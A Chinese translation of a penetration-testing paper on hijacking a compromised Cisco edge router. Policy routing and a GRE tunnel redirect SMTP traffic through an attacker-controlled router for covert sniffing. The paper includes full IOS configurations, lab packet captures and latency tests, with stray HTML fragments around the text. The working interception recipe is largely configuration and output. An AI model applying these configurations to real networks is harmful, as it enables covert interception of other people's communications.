<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/8641

            0x00 前言


            現在,對終端路由器進行流量劫持的方法很多,如DNS劫持等等,但是根據不同的滲透場景,如對電信級別的組織進行大范圍攻擊時,利用被入侵的路由器進行流量重定向則會顯得更加高效。這種類似“核攻擊”的攻擊方法會導致X州市數字電視一樣的后果。

            原文地址:https://dl.packetstormsecurity.net/papers/routing/GRE_sniffing.doc

            0x01 介紹


            這篇文檔詳細描述了在最近試驗中,使用邊界路由器作為工具來捕獲網絡流量的方法 、步驟以及結果。

            在滲透測試場景中,人們經常會入侵一個組織的邊緣路由器。這些路由器往往部署在公司防火墻外,而且缺乏保護。在某些情況下,被入侵的路由器可能會成為進一步攻擊目標網絡的一個跳板,但是真正的價值用被掌握的路由器用來嗅探組織內部進出的網絡流量。

            這種使用GRE隧道和策略路由的技術最早在Phrack由Gauis發表的第56篇文章“Things to do in Cisco Land when you are dead” (http://www.phrack.com/show.php?p=56&a=10),Gauis的方法使用tcpdump修改的proof-of-concept(poc)程序,來在被嗅探的路由器和一臺Linux之間建立一條GRE隧道。

            而Joshua Wright在他為SANS GCIH的實用鑒定課程中寫的的論文:“Red Team Assessment of Parliament Hill Firewall”中使用了另一種方法,Joshua使用了另外一臺思科路由器終結了GRE隧道,但他只設法捕捉到一個方向的流量:從該組織出站方向的流量。

            在本次這個試驗中擴展了Joshua的方法,同樣使用另外一臺思科路由器來終結GRE隧道,但是從組織中透明地捕捉到了進出的流量。對這個技術進行擴展的主要因素是為了最少進行軟件定制以及組件的需要。

            特別感謝Darren Pedley([email protected])[email protected]?

            0x02 方法


            所選擇的方法是,在目標路由器(“Target router”)和被黑客控制的中間路由器(“Attacker router”)之間建立GRE隧道。使用策略路由來把該組織中進出的流量通過GRE隧道重定向到中間路由器(Attacker router)中。流量在最終被目標路由器(Target router)傳送之前,就已經被黑客控制的中間路由器(Attacker router)處理過了。

            本次測試了兩種場景。第一個場景,被捕獲的流量只是被中間路由器通 “反射”進了GRE隧道,如圖1。這種方法有一個好處就是在路由器上配置簡單,但是介紹以下出現的問題:

            圖1 – 場景1

            在第二個處理場景中,中間路由器被配置為在回傳捕獲流量給目標路由器之前,先把流量發傳送給一臺Unix工作站,如圖2,這個腳本克服前面的兩個缺點:

            圖2 – 場景2

            0x03 步驟


            圖3顯示了在本次試驗的網絡拓撲。

            圖3 - 實驗測試拓撲

            1. 實驗設備

              目標路由器(target router)使用雙以太網接口的Cisco 3600路由器,中間路由器(attacker router)使用雙以太網接口的Cisco 2600路由器。這個實驗同樣適用于任何IOS系統的思科路由器,可能適用于其他支持GRE隧道和策略路由的路由器。

              郵件服務器是一臺裝有Linux的筆記本,網絡嗅探設備是一臺Solaris工作站,這些設備都是任意選擇的。

            2. 建立一條GRE隧道

              第一步,在對路由器進行基礎的IP配置之后,就在目標路由器和中間路由器間建起GRE隧道,在實際環境使用這種方法時,目標路由器應必須首先已被入侵并可以遠程配置,入侵目標路由器的方法以已經超出了本文的討論范圍。

              目標路由器配置:

              Target#conf t
              Target(config)#int tunnel0
              Target(config-if)#ip address 192.168.5.1 255.255.255.0
              Target(config-if)#tunnel source eth0/1
              Target(config-if)#tunnel dest 192.168.1.2
              Target(config-if)#tunnel mode gre ip
              Target(config-if)#exit
              Target(config)#exit
              Target#
              

              建立名稱為tunnel0的隧道接口,分配本地IP地址192.168.5.1(虛擬的IP地址),外部以太網接口定義為本地tunnel隧道的終點,同時定義中間路由器的外部IP地址為tunnel隧道對端的終點。在中間路由器上配置類似的命令。

              中間路由器操作:

              Attacker#conf t
              Attacker(config)#int tunnel0
              Attacker(config-if)#ip address 192.168.5.2 255.255.255.0
              Attacker(config-if)#tunnel source eth0/1
              Attacker(config-if)#tunnel dest 192.168.1.1
              Attacker(config-if)#tunnel mode gre ip
              Attacker(config-if)#exit
              Attacker(config)#exit
              Attacker#
              

              到這一步,兩臺路由器間的GRE隧道已經建立了,不管這兩臺路由器間在互聯網間相隔多少跳路由,GRE隧道都只認為經過了一跳路由。

            3. 場景1中的策略路由配置

              在場景1中(見圖1),我們在中間路由器tunnel0的接口上建立策略路由,并通過GRE隧道向目標路由器“反射”流量。

              中間路由器操作:

              Attacker#conf t
              Attacker(config)#access-list 100 permit ip any any
              Attacker(config)#route-map reflect
              Attacker(config-route-map)#match ip address 100
              Attacker(config-route-map)#set ip next-hop 192.168.5.1
              Attacker(config-route-map)#exit
              Attacker(config)#int tunnel0
              Attacker(config-if)#ip policy route-map reflect
              Attacker(config-if)#exit
              Attacker(config)#exit
              Attacker#
              

              訪問控制列表100(acl100)匹配所有IP協議流量,route map策略抓取了所有匹配訪問控制列表100的流量,然后發往192.168.5.1,也就是目標路由器上終結GRE隧道的地址。這條route map策略在tunnel0接口上應用。

              這樣配置的結果就是,所有通過tunnel0接口到達中間路由器的流量,隨后會通過tunnel接口(即tunnel隧道)返回給目標路由器。

            4. 場景1中的Unix工作站初始化

              在場景1中,攻擊者的Unix工作站在外部署在中間路由器的外部接口中,在這個實例中,Unix工作站的IP地址可以配置或不配置,因為工作站只需要被動地捕獲網絡流量。

            5. 場景2中的策略路由配置

              在第二個場景中,我們在中間路由器tunnel接口上和在與Unix工作站互聯的內網接口上建立了策略路由,來“反射”通過GRE隧道及Unix工作站內網接口傳來的流量。

              中間路由器操作:

              Attacker#conf t
              Attacker(config)#access-list 100 permit ip any any
              Attacker(config)#route-map send-traffic-in
              Attacker(config-route-map)#match ip address 100
              Attacker(config-route-map)#set ip next-hop 192.168.3.2
              Attacker(config-route-map)#exit
              Attacker(config)#int tunnel0
              Attacker(config-if)#ip policy route-map send-traffic-in
              Attacker(config-if)#exit
              Attacker(config)#route-map send-traffic-out
              Attacker(config-route-map)#match ip address 100
              Attacker(config-route-map)#set ip next-hop 192.168.5.1
              Attacker(config-route-map)#exit
              Attacker(config)#int eth0/0
              Attacker(config-if)#ip policy route-map send-traffic-out
              Attacker(config-if)#exit
              Attacker(config)#exit
              Attacker#
              

              策略路由“send-traffic-in”被應用在tunnel0接口上,這條策略路由將從tunnel所有到達的流量轉發到Unix工作站的住IP地址的以太網接口上(192.168.3.2)。工作站通過缺省路由經將該流量轉發回中間路由器上(192.168.4.1)。

              策略路由“send-traffic-out”被應用在中間路由器的內部以太網接口上(與Unix工作站互聯的接口),它將從Unix工作站返回的流量通過GRE隧道全部轉發回目標路由器。

            6. 場景2中的Unix工作站初始化

              在場景2中的Unix工作站配置如下:

              Primary IP address(主IP地址): 192.168.3.2

              Secondary IP address(從IP地址): 192.168.4.2

              從IP地址是在同一物理網絡接口上的虛擬地址。

              Default route(缺省路由): 192.168.4.1

            7. 定義一個需要被捕獲的流量

              接下來,在目標路由器上建立訪問控制列表(ACL)來抓取需被捕獲流量。

              在目標路由器上操作:

              Target#conf t
              Target(config)#access-list 101 permit tcp any any eq 25
              Target(config)#access-list 101 permit tcp any eq 25 any
              Target(config)#exit
              Target#
              

              這條訪問控制列表匹配了所有SMTP協議(25/TCP)流量,定義規則來對進出的數據包進行匹配是非常有必要的,因為這條訪問控制列表將被應用在目標路由器的所有接口上。

            8. 在目標路由器上的策略路由

              最后,我們在目標路由器上建立策略路由,用來將感興趣的流量通過GRE隧道發送。

              在目標路由器上操作:

              Target#conf t
              Target(config)#route-map capture-traffic
              Target(config-route-map)#match ip address 101
              Target(config-route-map)#set ip next-hop 192.168.5.2
              Target(config-route-map)#exit
              Target(config)#int eth0
              Target(config-if)#ip policy route-map capture-traffic
              Target(config-if)#exit
              Target(config)#int eth1
              Target(config-if)#ip policy route-map capture-traffic
              Target(config-if)#exit
              Target(config)#exit
              Target#
              

              定義的這條策略路由(capture-traffic)匹配了訪問控制列表101(即所有SMTP流量),同時通過GRE隧道向中間路由器轉發這些流量,這條策略路由需被同時應用在這臺路由器對內、對外接口上。

              到現在,所有進出目標路由器的SMTP流量將通過GRE隧道被重定向到中間路由器上,流量(返程流量)到達中間路由器是通過GRE隧道、中間是根據標準的路由協議進路由轉發由的。

              目標路由器上最終配置請見附錄A,中間路由器在場景1和場景2中的配置可以分別在附錄B和C中找到。

            0x04 結果


            在兩個場景中,SMPT連接通過GRE隧道轉移,成功地被UNIX工作站抓取。

            1. 場景1中的抓包驗證

              以下抓包片段顯示了在場景1中,截取的SMTP會話建立過程(即三次握手)。

               1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
               2   0.00208  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823
               3   0.00144  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797
               4   0.00277  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824
               5   0.00140  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798
               6   0.00060  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
               7   0.00032  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
               8   0.00183  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825
               9   0.00138  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799
              

              第1條數據包顯示客戶端向郵件服務器發送TCP SYN包。

              第2、3條數據包顯示這個SYN包從目標路由器發向了中間路由器,并返回到目標路由器。

              在第3條數據包之后,這個SYN包就被傳送到了郵件服務器上了:這個包在抓包過程中沒有顯示。郵件服務服務器應答了一個SYN/ACK包:這個包在抓包過程中沒有顯示。

              數據包4和5顯示了這個SYN/ACK包正在穿越GRE隧道。

              數據包6顯示這個SYN/ACK包被返回到了郵件客戶端。

              數據包7顯示從客戶端應答的ACK包(即三次握手過程中的最后一個數據包)發向郵件服務器。

              數據包8和9顯示這個ACK包正在穿越GRE隧道。

              在第9個數據包之后,這個ACK包就已經被傳送到了郵件服務器上,會話建立成功,隨后的SMTP連接繼續繼續建立。

              更完整的抓包結果,以及第2條數據包詳細的協議解碼請見附錄D。

            2. Scenario 2場景2的抓包驗證

              以下抓包片段顯示了在場景2中,截取的SMTP會話建立過程(即三次握手)。

              1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              2   0.00014  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              3   0.00585  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              4   0.00011  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              5   0.00579  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              6   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              

              數據包1和2顯示了客戶端發往郵件服務器的TCP SYN數據包,由于被捕獲的流量在去往Unix工作站時在同一接口上被路由了兩遍(即中間路由器路由一次,Unix工作站缺省路由一次),所以這條(同時所有)流量在抓包顯示被復制了二份。

              數據包3和4顯示了郵件服務器發往客戶端的SYN/ACK數據包。

              數據包5和6顯示了客戶端回復郵件服務器的ACK數據包(三次握手的最后一步)

              更完整的抓包結果請見附錄E。

            0x05 結論及討論


            1. 透明度

              這種數據攔截的方法對于這個系統中的終端用戶是完全透明的(見下面的部分),標準的traceroute追蹤不能發現數據在GRE隧道重定向而帶來的額外路由跳數,因為traceroute的數據包并沒有被策略路由(即上文中提到的策略路由)所匹配。

              有這種可能,但是比較困難,就是編寫一個基于TCP 協議,使用25號端口以及利用遞增TTL值的traceroute程序,去發現已經增加的額外路由跳數。

              當然,通過檢查目標路由器的配置來發現(是否被攻擊)會更簡單。

            2. 延遲考慮

              在通過中間路由器路由器捕獲重定向的流量會增加網絡延遲,這種延遲的增加可以表示為:

              2n + m

              n代表流量從目標路由器到中間路由器間所花費的時間,m代表中間路由器(以及Unix工作站)處理這條流量所帶來的時間延遲。

              在實驗室場景中,發現m的值大約有10ms的延遲 - 詳見附錄F。

              n的值顯得要更大一些,這種(流量重定向)技術應被限制在類似如SMTP, DNS域傳送等一類流量非嚴格時間敏感的場景中使用。

            3. 對流量進一步解碼

              從被捕獲流量中提取有用數據的聯系就交給讀者了,在標準的Unix工具集中,例如strings以及od命令都可以方便地處理這些數據。

            4. 實用性

              在現實情況下使用這種技術,應該注意中間路由器(以及在場景2中的Unix工作站)可能會導致單點通信故障,如果任何一臺設備出現故障,那么在3.7章節中的訪問控制列表所匹配的流量(即目標流量)將不能被正常轉發。

            0x06 附錄


            1. 附錄A - 目標路由器完整配置(Target Router)

              !
              version 12.2
              service timestamps debug uptime
              service timestamps log uptime
              no service password-encryption
              !
              hostname Target
              !
              no logging console
              !
              ip subnet-zero
              !
              interface Tunnel0
               ip address 192.168.5.1 255.255.255.0
               tunnel source Ethernet0/1
               tunnel destination 192.168.1.2
              !
              interface Ethernet0/0
               ip address 192.168.2.1 255.255.255.0
               ip policy route-map capture-traffic
               half-duplex
              !
              interface Ethernet0/1
               ip address 192.168.1.1 255.255.255.0
               ip policy route-map capture-traffic
               half-duplex
              !
              ip classless
              no ip http server
              no ip pim bidir-enable
              !
              access-list 101 permit tcp any any eq smtp
              access-list 101 permit tcp any eq smtp any
              no cdp run
              route-map capture-traffic permit 10
               match ip address 101
               set ip next-hop 192.168.5.2
              !
              line con 0
              line aux 0
              line vty 0 4
               privilege level 15
               login
              !
              end
              
            2. 附錄B -場景1中間路由器完整配置(Attack Router)

              !
              version 12.2
              service timestamps debug uptime
              service timestamps log uptime
              no service password-encryption
              !
              hostname Attacker
              !
              logging buffered 4096 debugging
              no logging console
              enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0
              !
              memory-size iomem 10
              ip subnet-zero
              !
              interface Tunnel0
               ip address 192.168.5.2 255.255.255.0
               ip policy route-map reflect
               tunnel source Ethernet0/1
               tunnel destination 192.168.1.1
              !
              interface Ethernet0/0
               ip address 192.168.3.1 255.255.255.0
               half-duplex
              !
              interface Ethernet0/1
               ip address 192.168.1.2 255.255.255.0
               half-duplex
              !
              ip classless
              no ip http server
              no ip pim bidir-enable
              !
              access-list 100 permit ip any any
              no cdp run
              route-map reflect permit 10
               match ip address 100
               set ip next-hop 192.168.5.1
              !
              line con 0
              line aux 0
              line vty 0 4
               privilege level 15
               no login
              !
              end
              
            3. 附錄C -場景2中間路由器完整配置(Attack Router)

              version 12.2
              service timestamps debug uptime
              service timestamps log uptime
              no service password-encryption
              !
              hostname Attacker
              !
              logging buffered 4096 debugging
              no logging console
              enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0
              !
              memory-size iomem 10
              ip subnet-zero
              !
              interface Tunnel0
               ip address 192.168.5.2 255.255.255.0
               ip policy route-map send-traffic-in
               tunnel source Ethernet0/1
               tunnel destination 192.168.1.1
              !
              interface Ethernet0/0
               ip address 192.168.4.1 255.255.255.0 secondary
               ip address 192.168.3.1 255.255.255.0
               ip policy route-map send-traffic-out
               half-duplex
              !
              interface Ethernet0/1
               ip address 192.168.1.2 255.255.255.0
               half-duplex
              !
              ip classless
              no ip http server
              no ip pim bidir-enable
              !
              access-list 100 permit ip any any
              no cdp run
              route-map send-traffic-out permit 10
               match ip address 100
               set ip next-hop 192.168.5.1
              !
              route-map send-traffic-in permit 10
               match ip address 100
               set ip next-hop 192.168.3.2
              !
              line con 0
              line aux 0
              line vty 0 4
               privilege level 15
               no login
              !
              end
              
            4. 附錄D - 場景1中的流量抓包

              1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
              2   0.00208  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823
              3   0.00144  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797
              4   0.00277  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824
              5   0.00140  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798
              6   0.00060  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
              7   0.00032  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
              8   0.00183  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825
              9   0.00138  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799
              10  40.09693  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=153, ID=826
              11   0.00142  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=153, ID=800
              12   0.00063  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 220 localhost.locald
              13   0.13864  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
              14   0.00185  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=827
              15   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=801
              
              82   2.18601  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 q
              83   0.00211  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=850
              84   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=824
              85   0.03858  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=851
              86   0.00131  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=825
              87   0.00051  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
              88   0.18110  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 u
              89   0.00186  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=852
              90   0.00136  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=826
              91   0.00271  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=853
              92   0.00130  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=827
              93   0.00059  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
              94   0.05429  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 i
              95   0.00191  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=854
              96   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=828
              97   0.00269  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=855
              98   0.00131  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=829
              99   0.00051  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
              100   0.16402  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 t
              101   0.00207  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=856
              102   0.00139  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=830
              103   0.00270  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=857
              104   0.00133  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=831
              105   0.00052  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
              106   0.22869  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
              107   0.00197  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=66, ID=858
              108   0.00137  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=66, ID=832
              109   0.00304  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=859
              110   0.00130  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=833
              111   0.00012  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=116, ID=860
              112   0.00055  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
              113   0.00093  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=116, ID=834
              114   0.00058  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 221 2.0.0 localhost.
              115   0.00067  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=861
              116   0.00133  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=835
              117   0.00049  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
              118   0.00025  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
              119   0.00044  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
              120   0.00172  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=862
              121   0.00133  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=836
              122   0.00007  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=863
              123   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=837
              124   0.00255  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=864
              125   0.00130  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=838
              126   0.00054  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
              

              對嗅探到的GRE數據包解碼如下:

              ETHER:  ----- Ether Header -----
              ETHER:
              ETHER:  Packet 2 arrived at 12:38:37.06
              ETHER:  Packet size = 86 bytes
              ETHER:  Destination = 0:d0:ba:fe:30:e1,
              ETHER:  Source      = 0:e0:1e:7e:a0:c2,
              ETHER:  Ethertype = 0800 (IP)
              ETHER:
              IP:   ----- IP Header -----
              IP:
              IP:   Version = 4
              IP:   Header length = 20 bytes
              IP:   Type of service = 0x00
              IP:         xxx. .... = 0 (precedence)
              IP:         ...0 .... = normal delay
              IP:         .... 0... = normal throughput
              IP:         .... .0.. = normal reliability
              IP:   Total length = 72 bytes
              IP:   Identification = 823
              IP:   Flags = 0x0
              IP:         .0.. .... = may fragment
              IP:         ..0. .... = last fragment
              IP:   Fragment offset = 0 bytes
              IP:   Time to live = 255 seconds/hops
              IP:   Protocol = 47 ()
              IP:   Header checksum = 34fc
              IP:   Source address = 192.168.1.1, 192.168.1.1
              IP:   Destination address = 192.168.1.2, 192.168.1.2
              IP:   No options
              IP:
              

              這個GRE數據包使用Hex方式解碼如下所示:

              0000000 736e 6f6f 7000 0000 0000 0002 0000 0004
              0000020 0000 0056 0000 0056 0000 0070 0000 0000
              0000040 3d2d 0bcd 0001 110b 00d0 bafe 30e1 00e0
              0000060 1e7e a0c2 0800 4500 0048 0337 0000 ff2f
              0000100 34fc c0a8 0101 c0a8 0102 0000 0800 4500
              0000120 0030 3380 4000 7f06 43f2 c0a8 0103 c0a8
              0000140 0202 0651 0019 99d0 26a4 0000 0000 7002
              0000160 4000 f86a 0000 0204 0534 0101 0402 0000
              
            5. 附錄E - 場景2中的流量抓包

              1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              2   0.00014  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              3   0.00585  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              4   0.00011  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              5   0.00579  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              6   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              7   40.09285  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 220 localhost.locald
              8   0.00016  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 220 localhost.locald
              9   0.16606  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              10   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              
              59   1.62586  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 q
              60   0.00012  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 q
              61   0.04199  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              62   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              63   0.14919  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 u
              64   0.00012  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 u
              65   0.00574  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              66   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              67   0.08556  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 i
              68   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 i
              69   0.00570  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              70   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              71   0.12386  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 t
              72   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 t
              73   0.00577  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              74   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              75   0.80846  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              76   0.00011  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              77   0.00613  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              78   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              79   0.00216  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 221 2.0.0 localhost.
              80   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 221 2.0.0 localhost.
              81   0.00220  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              82   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              83   0.00670  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              84   0.00008  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              85   0.00169  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              86   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
              87   0.00645  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              88   0.00008  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
              
            6. 附錄F - 延遲測試 測試了額外增加的流量處理時間的延遲測試,在實驗室中使用ICMP ping對互聯網上的客戶端機器進行測試。

              在沒有重定向/抓包時…

              C:\>ping 192.168.2.2        
              
              Pinging 192.168.2.2 with 32 bytes of data:        
              
              Reply from 192.168.2.2: bytes=32 time=10ms TTL=254
              Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
              Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
              Reply from 192.168.2.2: bytes=32 time<10ms TTL=254        
              
              Ping statistics for 192.168.2.2:
                  Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
              Approximate round trip times in milli-seconds:
                  Minimum = 0ms, Maximum =  10ms, Average =  2ms        
              
              C:\>ping -l 1000 192.168.2.2        
              
              Pinging 192.168.2.2 with 1000 bytes of data:        
              
              Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
              Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
              Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
              Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254        
              
              Ping statistics for 192.168.2.2:
                  Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
              Approximate round trip times in milli-seconds:
                  Minimum = 0ms, Maximum =  0ms, Average =  0ms        
              
              C:\>
              

              在進行重定向/抓包時…

              C:\>ping 192.168.2.2        
              
              Pinging 192.168.2.2 with 32 bytes of data:        
              
              Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
              Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
              Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
              Reply from 192.168.2.2: bytes=32 time=10ms TTL=250        
              
              Ping statistics for 192.168.2.2:
                  Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
              Approximate round trip times in milli-seconds:
                  Minimum = 10ms, Maximum =  10ms, Average =  10ms        
              
              C:\>ping -l 1000 192.168.2.2        
              
              Pinging 192.168.2.2 with 1000 bytes of data:        
              
              Reply from 192.168.2.2: bytes=1000 time=31ms TTL=250
              Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
              Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
              Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250        
              
              Ping statistics for 192.168.2.2:
                  Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
              Approximate round trip times in milli-seconds:
                  Minimum = 20ms, Maximum =  31ms, Average =  22ms        
              
              C:\>
              

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线